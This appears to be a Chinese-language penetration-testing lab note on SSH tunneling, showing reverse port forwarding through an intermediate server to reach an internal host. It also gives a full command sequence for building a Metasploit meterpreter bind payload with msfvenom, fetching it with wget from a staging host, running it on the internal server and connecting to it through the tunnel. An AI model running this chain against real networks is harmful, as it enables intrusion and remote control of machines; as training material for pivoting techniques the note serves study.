05-SSH隧道

# SSH隧道

## 概述

SSH 隧道（SSH tunneling）是把其他网络流量封装在 SSH 加密连接里转发，常用于安全访问内网服务、穿透 NAT/防火墙、做临时代理。

核心命令是 ssh 的端口转发功能。

## 内网穿透

![image-20261022172623219](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657239.png)

```bash
#1. 发现内网存活22端口，那么处于外网环境下的kali如何访问?
netstat -anpt

# 将本地的应用端口，转发给外网服务器的外网端口
ssh -CfNg -R 外网端口:localhost:本地应用端口 root@外网服务器的IP地址

# -C客户端向服务器端发起连接
# -f后台运行，-N表示做端口转发，-g 允许远程服务器连接本地机器进行转发端口
# -R 表示将内网端口映射到外网的端口

#2.内网服务器运行：
# 将内网端口映射到外网端口 22 <-> 10022
ssh -CfNg -R 10022:localhost:22 root@10.20.30.128

#3.外网服务器运行：
# 将外网端口映射到kali端口 10022 <-> 10022
ssh -CfNg -R 10022:localhost:10022 root@192.168.88.104

#4. kali机器中运行ssh
ssh root@127.0.0.1 -p 10022
```

内网服务器：

![image-20261013161022619](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657240.png)

外网服务器：

![image-20261013161122405](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657241.png)

连接目标：

![image-20261013161155042](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657242.png)

## MSF正向木马

![image-20261022172739833](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657243.png)

```bash
#1.制作MSF木马
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=6789 -f elf -o linux_6789.elf

#2. 木马的传递：kali---外网服务器---内网服务器
#2.1 kali
python -m http.server

#2.2 外网服务器接收并传输
wget http://192.168.88.104:8000/linux_6789.elf
python -m SimpleHTTPServer 2323

#2.3 内网服务器接收并运行
wget http://10.20.30.128:2323/linux_6789.elf
chmod a+x linux_6789.elf
./linux_6789.elf &

#3. 木马端口的传递
#3.1 内网服务器
ssh -CfNg -R 16789:localhost:6789 root@10.20.30.128
#3.2 外网服务器
ssh -CfNg -R 16789:localhost:16789 root@192.168.88.104

#4.MSF上线木马
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 127.0.0.1
set lport 16789
run

```

目标上线：

![image-20261013162157701](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657244.png)

## MSF反向木马

![image-20261022173004577](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657245.png)

kali机器：

![image-20261013170308099](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657246.png)

外网服务器：

![image-20261013170333800](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657247.png)

内网服务器：

![image-20261013170352709](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657248.png)

目标上线

![image-20261013170253658](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072657249.png)